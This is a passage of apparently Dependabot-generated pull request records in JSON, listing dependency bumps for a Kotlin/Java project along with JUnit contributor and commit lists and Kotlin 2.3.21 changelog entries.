href=\"https://github.com/HyungGeun94\"\u003e\u003ccode\u003e@​HyungGeun94\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5271\"\u003ejunit-team/junit-framework#5271\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yalishevant\"\u003e\u003ccode\u003e@​yalishevant\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5316\"\u003ejunit-team/junit-framework#5316\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JINU-CHANG\"\u003e\u003ccode\u003e@​JINU-CHANG\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5290\"\u003ejunit-team/junit-framework#5290\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jaschdoc\"\u003e\u003ccode\u003e@​jaschdoc\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5427\"\u003ejunit-team/junit-framework#5427\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kawshikbuet17\"\u003e\u003ccode\u003e@​kawshikbuet17\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5561\"\u003ejunit-team/junit-framework#5561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/msridhar\"\u003e\u003ccode\u003e@​msridhar\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5602\"\u003ejunit-team/junit-framework#5602\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-M1 = Platform 6.1.0-M1 + Jupiter 6.1.0-M1 + Vintage 6.1.0-M1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-M1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vy\"\u003e\u003ccode\u003e@​vy\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5041\"\u003ejunit-team/junit-framework#5041\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Pankraz76\"\u003e\u003ccode\u003e@​Pankraz76\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5006\"\u003ejunit-team/junit-framework#5006\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/arukiidou\"\u003e\u003ccode\u003e@​arukiidou\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5066\"\u003ejunit-team/junit-framework#5066\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laeubi\"\u003e\u003ccode\u003e@​laeubi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5092\"\u003ejunit-team/junit-framework#5092\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jihun4452\"\u003e\u003ccode\u003e@​jihun4452\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5088\"\u003ejunit-team/junit-framework#5088\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TWiStErRob\"\u003e\u003ccode\u003e@​TWiStErRob\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5133\"\u003ejunit-team/junit-framework#5133\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0dc3af1cb1973d257b5bc75d81e02454d5e4e556\"\u003e\u003ccode\u003e0dc3af1\u003c/code\u003e\u003c/a\u003e Release 6.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/1d130020c85170edcb46ce7ed1f7f78824e37c04\"\u003e\u003ccode\u003e1d13002\u003c/code\u003e\u003c/a\u003e Prepare 6.1.0 release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/072b2175bbd7b0b3b26f5d928550ec7a21e68268\"\u003e\u003ccode\u003e072b217\u003c/code\u003e\u003c/a\u003e Update plugin spotless to v8.5.0 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5668\"\u003e#5668\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/3a53480218f4b752a9ca77506e10632cd483c0f8\"\u003e\u003ccode\u003e3a53480\u003c/code\u003e\u003c/a\u003e Update Gradle to v9.5.1 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5666\"\u003e#5666\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0e18a20a9f98d063ae02b3ba19329143f5c7f034\"\u003e\u003ccode\u003e0e18a20\u003c/code\u003e\u003c/a\u003e Update zizmorcore/zizmor-action action to v0.5.4 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5669\"\u003e#5669\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0a2634fb9cbbd057b02cf629d7d272c16d62be4b\"\u003e\u003ccode\u003e0a2634f\u003c/code\u003e\u003c/a\u003e Update github/codeql-action action to v4.35.5 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5671\"\u003e#5671\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/4dbd5561b00ac761a62c516bfaec51c212a2d60c\"\u003e\u003ccode\u003e4dbd556\u003c/code\u003e\u003c/a\u003e Restructure workflows to have single \u0026quot;status\u0026quot; job (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5670\"\u003e#5670\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/f2194cebe377512cb0ade388c62a881a0bcf5d3e\"\u003e\u003ccode\u003ef2194ce\u003c/code\u003e\u003c/a\u003e Increase timeout to reduce flakiness\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/5c8fdd2df65b763151cccbe669ea9e1c3155efcd\"\u003e\u003ccode\u003e5...\n\n_Description has been truncated_","html_url":"https://github.com/futureset-net/kontrol-db/pull/218","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/futureset-net%2Fkontrol-db/issues/218","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/218/packages"},{"uuid":"4474023304","node_id":"PR_kwDOC3no787c5a_g","number":429,"state":"closed","title":"chore(deps): bump the update-dependencies group across 1 directory with 26 updates","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-06-08T17:14:50.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-19T02:49:51.000Z","updated_at":"2026-06-08T17:14:52.000Z","time_to_close":1779899,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"update-dependencies","update_count":26,"packages":[{"name":"org.jetbrains.kotlin:kotlin-stdlib","old_version":"2.3.10","new_version":"2.3.21","repository_url":"https://github.com/JetBrains/kotlin"},{"name":"org.jetbrains.kotlinx:kotlinx-coroutines-slf4j","old_version":"1.10.2","new_version":"1.11.0","repository_url":"https://github.com/Kotlin/kotlinx.coroutines"},{"name":"io.ktor:ktor-server-core","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-netty","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-content-negotiation","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-serialization-jackson","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-core","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-apache","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-test-host","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"org.apache.kafka:kafka-clients","old_version":"3.9.1","new_version":"4.2.0"},{"name":"ch.qos.logback:logback-classic","old_version":"1.5.26","new_version":"1.5.32","repository_url":"https://github.com/qos-ch/logback"},{"name":"com.fasterxml.jackson.datatype:jackson-datatype-jsr310","old_version":"2.20.1","new_version":"2.21.3"},{"name":"com.ibm.mq:com.ibm.mq.jakarta.client","old_version":"9.4.4.0","new_version":"9.4.5.1"},{"name":"com.google.cloud:google-cloud-storage","old_version":"2.62.1","new_version":"2.68.0","repository_url":"https://github.com/googleapis/google-cloud-java"},{"name":"org.postgresql:postgresql","old_version":"42.7.8","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"org.flywaydb:flyway-core","old_version":"11.15.0","new_version":"12.6.0"},{"name":"org.flywaydb:flyway-database-postgresql","old_version":"11.15.0","new_version":"12.6.0"},{"name":"org.apache.commons:commons-text","old_version":"1.14.0","new_version":"1.15.0","repository_url":"https://github.com/apache/commons-text"},{"name":"org.junit.jupiter:junit-jupiter-api","old_version":"6.0.0","new_version":"6.0.3","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"org.junit.jupiter:junit-jupiter-params","old_version":"6.0.0","new_version":"6.0.3","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"org.junit.jupiter:junit-jupiter-engine","old_version":"6.0.0","new_version":"6.0.3","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"com.devskiller:jfairy","old_version":"0.6.5","new_version":"0.8.3","repository_url":"https://github.com/Devskiller/jfairy"},{"name":"org.testcontainers:testcontainers-postgresql","old_version":"2.0.3","new_version":"2.0.5","repository_url":"https://github.com/testcontainers/testcontainers-java"},{"name":"jvm","old_version":"2.3.10","new_version":"2.3.21","repository_url":"https://github.com/JetBrains/kotlin"},{"name":"com.diffplug.spotless","old_version":"8.0.0","new_version":"8.4.0"},{"name":"gradle-wrapper","old_version":"9.4.1","new_version":"9.5.0","repository_url":"https://github.com/gradle/gradle"}],"path":null,"ecosystem":"maven"},"body":"Bumps the update-dependencies group with 26 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [org.jetbrains.kotlin:kotlin-stdlib](https://github.com/JetBrains/kotlin) | `2.3.10` | `2.3.21` |\n| [org.jetbrains.kotlinx:kotlinx-coroutines-slf4j](https://github.com/Kotlin/kotlinx.coroutines) | `1.10.2` | `1.11.0` |\n| [io.ktor:ktor-server-core](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| [io.ktor:ktor-server-netty](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| [io.ktor:ktor-client-content-negotiation](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| [io.ktor:ktor-serialization-jackson](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| [io.ktor:ktor-client-core](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| [io.ktor:ktor-client-apache](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| [io.ktor:ktor-server-test-host](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| org.apache.kafka:kafka-clients | `3.9.1` | `4.2.0` |\n| [ch.qos.logback:logback-classic](https://github.com/qos-ch/logback) | `1.5.26` | `1.5.32` |\n| com.fasterxml.jackson.datatype:jackson-datatype-jsr310 | `2.20.1` | `2.21.3` |\n| com.ibm.mq:com.ibm.mq.jakarta.client | `9.4.4.0` | `9.4.5.1` |\n| [com.google.cloud:google-cloud-storage](https://github.com/googleapis/google-cloud-java) | `2.62.1` | `2.68.0` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.8` | `42.7.11` |\n| org.flywaydb:flyway-core | `11.15.0` | `12.6.0` |\n| org.flywaydb:flyway-database-postgresql | `11.15.0` | `12.6.0` |\n| [org.apache.commons:commons-text](https://github.com/apache/commons-text) | `1.14.0` | `1.15.0` |\n| [org.junit.jupiter:junit-jupiter-api](https://github.com/junit-team/junit-framework) | `6.0.0` | `6.0.3` |\n| [org.junit.jupiter:junit-jupiter-params](https://github.com/junit-team/junit-framework) | `6.0.0` | `6.0.3` |\n| [org.junit.jupiter:junit-jupiter-engine](https://github.com/junit-team/junit-framework) | `6.0.0` | `6.0.3` |\n| [com.devskiller:jfairy](https://github.com/Devskiller/jfairy) | `0.6.5` | `0.8.3` |\n| [org.testcontainers:testcontainers-postgresql](https://github.com/testcontainers/testcontainers-java) | `2.0.3` | `2.0.5` |\n| [jvm](https://github.com/JetBrains/kotlin) | `2.3.10` | `2.3.21` |\n| com.diffplug.spotless | `8.0.0` | `8.4.0` |\n| [gradle-wrapper](https://github.com/gradle/gradle) | `9.4.1` | `9.5.0` |\n\n\nUpdates `org.jetbrains.kotlin:kotlin-stdlib` from 2.3.10 to 2.3.21\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/JetBrains/kotlin/releases\"\u003eorg.jetbrains.kotlin:kotlin-stdlib's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eKotlin 2.3.21\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003ch3\u003eBackend. Wasm\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84610\"\u003e\u003ccode\u003eKT-84610\u003c/code\u003e\u003c/a\u003e [Wasm] Failed to compile klibs in IC mode\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCompiler\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84566\"\u003e\u003ccode\u003eKT-84566\u003c/code\u003e\u003c/a\u003e Prevent launching Default dispatcher threads from IJ SDK in kotlin compiler\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85358\"\u003e\u003ccode\u003eKT-85358\u003c/code\u003e\u003c/a\u003e Native: roll back the workaround for KT-84678 once MapLibre has been properly fixed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85626\"\u003e\u003ccode\u003eKT-85626\u003c/code\u003e\u003c/a\u003e  \u003ccode\u003e@JvmRecord\u003c/code\u003e in commonMain breaks compileCommonMainKotlinMetadata with \u0026quot;Cannot access 'java.lang.Record'\u0026quot;\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85405\"\u003e\u003ccode\u003eKT-85405\u003c/code\u003e\u003c/a\u003e Postpone/Revert \u003ccode\u003eDontIgnoreUpperBoundViolatedOnImplicitArguments\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84678\"\u003e\u003ccode\u003eKT-84678\u003c/code\u003e\u003c/a\u003e K/N: Undefined symbol from SPM-added ObjC frameworks when linking iOS target\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85021\"\u003e\u003ccode\u003eKT-85021\u003c/code\u003e\u003c/a\u003e False positive SUBCLASS_CANT_CALL_COMPANION_PROTECTED_NON_STATIC error in multi-module project\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eJavaScript\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-82395\"\u003e\u003ccode\u003eKT-82395\u003c/code\u003e\u003c/a\u003e Support top-level declarations from compiler plugins in JS incremental compilation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84475\"\u003e\u003ccode\u003eKT-84475\u003c/code\u003e\u003c/a\u003e K/JS: false-positive exportability warnings in multi-module project\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84633\"\u003e\u003ccode\u003eKT-84633\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u0026quot;Serializer for class not found\u0026quot; error when IR output granularity is \u003ccode\u003ewhole-program\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85047\"\u003e\u003ccode\u003eKT-85047\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u003ccode\u003e@JsStatic\u003c/code\u003e on suspend fun of class companion generates incorrect d.ts\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84517\"\u003e\u003ccode\u003eKT-84517\u003c/code\u003e\u003c/a\u003e K/JS: bad mappings data in outputted Kotlin stdlib source map\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLibraries\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-71848\"\u003e\u003ccode\u003eKT-71848\u003c/code\u003e\u003c/a\u003e Kotlinx.metadata: Add \u003ccode\u003eCompilerPluginData\u003c/code\u003e into Km API\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNative. C and ObjC Import\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85399\"\u003e\u003ccode\u003eKT-85399\u003c/code\u003e\u003c/a\u003e Kotlin/Native: TypeCastException when casting ObjC Protocol MetaClass with genericSafeCasts enabled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85508\"\u003e\u003ccode\u003eKT-85508\u003c/code\u003e\u003c/a\u003e K/N: TypeCastException when using nw_parameters_create_secure_tcp block parameter on 2.3.20\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84729\"\u003e\u003ccode\u003eKT-84729\u003c/code\u003e\u003c/a\u003e Update Gradle plugin-publish version to enable configuration cache badge on Gradle plugins portal\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle. Compiler plugins\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85257\"\u003e\u003ccode\u003eKT-85257\u003c/code\u003e\u003c/a\u003e AGP/Compose: MergeMappingFileTask clears R8 artifacts due to \u003ccode\u003e@OutputDirectory\u003c/code\u003e annotation on AGP 9.1+\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Scripts\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85105\"\u003e\u003ccode\u003eKT-85105\u003c/code\u003e\u003c/a\u003e Scripts: JVM backend internal error (IR lowering) when scratch file contains anonymous object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85103\"\u003e\u003ccode\u003eKT-85103\u003c/code\u003e\u003c/a\u003e Exception while generating code when explain destructuring decls\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84842\"\u003e\u003ccode\u003eKT-84842\u003c/code\u003e\u003c/a\u003e scriptCompilationClasspathFromContext behavior changed from 2.3.10 to 2.3.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85029\"\u003e\u003ccode\u003eKT-85029\u003c/code\u003e\u003c/a\u003e Kotlin Scripting: ScriptDiagnostic reports \u0026quot;at null\u0026quot; instead of error location\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Statistics (FUS)\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/JetBrains/kotlin/blob/master/ChangeLog.md\"\u003eorg.jetbrains.kotlin:kotlin-stdlib's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.3.21\u003c/h2\u003e\n\u003ch3\u003eBackend. Wasm\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84610\"\u003e\u003ccode\u003eKT-84610\u003c/code\u003e\u003c/a\u003e [Wasm] Failed to compile klibs in IC mode\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCompiler\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84566\"\u003e\u003ccode\u003eKT-84566\u003c/code\u003e\u003c/a\u003e Prevent launching Default dispatcher threads from IJ SDK in kotlin compiler\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85358\"\u003e\u003ccode\u003eKT-85358\u003c/code\u003e\u003c/a\u003e Native: roll back the workaround for KT-84678 once MapLibre has been properly fixed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85626\"\u003e\u003ccode\u003eKT-85626\u003c/code\u003e\u003c/a\u003e  \u003ccode\u003e@JvmRecord\u003c/code\u003e in commonMain breaks compileCommonMainKotlinMetadata with \u0026quot;Cannot access 'java.lang.Record'\u0026quot;\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85405\"\u003e\u003ccode\u003eKT-85405\u003c/code\u003e\u003c/a\u003e Postpone/Revert \u003ccode\u003eDontIgnoreUpperBoundViolatedOnImplicitArguments\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84678\"\u003e\u003ccode\u003eKT-84678\u003c/code\u003e\u003c/a\u003e K/N: Undefined symbol from SPM-added ObjC frameworks when linking iOS target\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85021\"\u003e\u003ccode\u003eKT-85021\u003c/code\u003e\u003c/a\u003e False positive SUBCLASS_CANT_CALL_COMPANION_PROTECTED_NON_STATIC error in multi-module project\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eJavaScript\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-82395\"\u003e\u003ccode\u003eKT-82395\u003c/code\u003e\u003c/a\u003e Support top-level declarations from compiler plugins in JS incremental compilation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84475\"\u003e\u003ccode\u003eKT-84475\u003c/code\u003e\u003c/a\u003e K/JS: false-positive exportability warnings in multi-module project\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84633\"\u003e\u003ccode\u003eKT-84633\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u0026quot;Serializer for class not found\u0026quot; error when IR output granularity is \u003ccode\u003ewhole-program\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85047\"\u003e\u003ccode\u003eKT-85047\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u003ccode\u003e@JsStatic\u003c/code\u003e on suspend fun of class companion generates incorrect d.ts\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84517\"\u003e\u003ccode\u003eKT-84517\u003c/code\u003e\u003c/a\u003e K/JS: bad mappings data in outputted Kotlin stdlib source map\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLibraries\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-71848\"\u003e\u003ccode\u003eKT-71848\u003c/code\u003e\u003c/a\u003e Kotlinx.metadata: Add \u003ccode\u003eCompilerPluginData\u003c/code\u003e into Km API\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNative. C and ObjC Import\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85399\"\u003e\u003ccode\u003eKT-85399\u003c/code\u003e\u003c/a\u003e Kotlin/Native: TypeCastException when casting ObjC Protocol MetaClass with genericSafeCasts enabled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85508\"\u003e\u003ccode\u003eKT-85508\u003c/code\u003e\u003c/a\u003e K/N: TypeCastException when using nw_parameters_create_secure_tcp block parameter on 2.3.20\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84729\"\u003e\u003ccode\u003eKT-84729\u003c/code\u003e\u003c/a\u003e Update Gradle plugin-publish version to enable configuration cache badge on Gradle plugins portal\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle. Compiler plugins\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85257\"\u003e\u003ccode\u003eKT-85257\u003c/code\u003e\u003c/a\u003e AGP/Compose: MergeMappingFileTask clears R8 artifacts due to \u003ccode\u003e@OutputDirectory\u003c/code\u003e annotation on AGP 9.1+\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Scripts\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85105\"\u003e\u003ccode\u003eKT-85105\u003c/code\u003e\u003c/a\u003e Scripts: JVM backend internal error (IR lowering) when scratch file contains anonymous object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85103\"\u003e\u003ccode\u003eKT-85103\u003c/code\u003e\u003c/a\u003e Exception while generating code when explain destructuring decls\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84842\"\u003e\u003ccode\u003eKT-84842\u003c/code\u003e\u003c/a\u003e scriptCompilationClasspathFromContext behavior changed from 2.3.10 to 2.3.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85029\"\u003e\u003ccode\u003eKT-85029\u003c/code\u003e\u003c/a\u003e Kotlin Scripting: ScriptDiagnostic reports \u0026quot;at null\u0026quot; instead of error location\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Statistics (FUS)\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85628\"\u003e\u003ccode\u003eKT-85628\u003c/code\u003e\u003c/a\u003e KGP: composite build FUS metrics fail on access of 'configurationTimeMetrics'\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/fea1ad8c18995b80d1ca0e3917056104613d23db\"\u003e\u003ccode\u003efea1ad8\u003c/code\u003e\u003c/a\u003e Add ChangeLog for 2.3.21-RC2\u003c/li\u003e\n\u003cli\u003e\u003ca 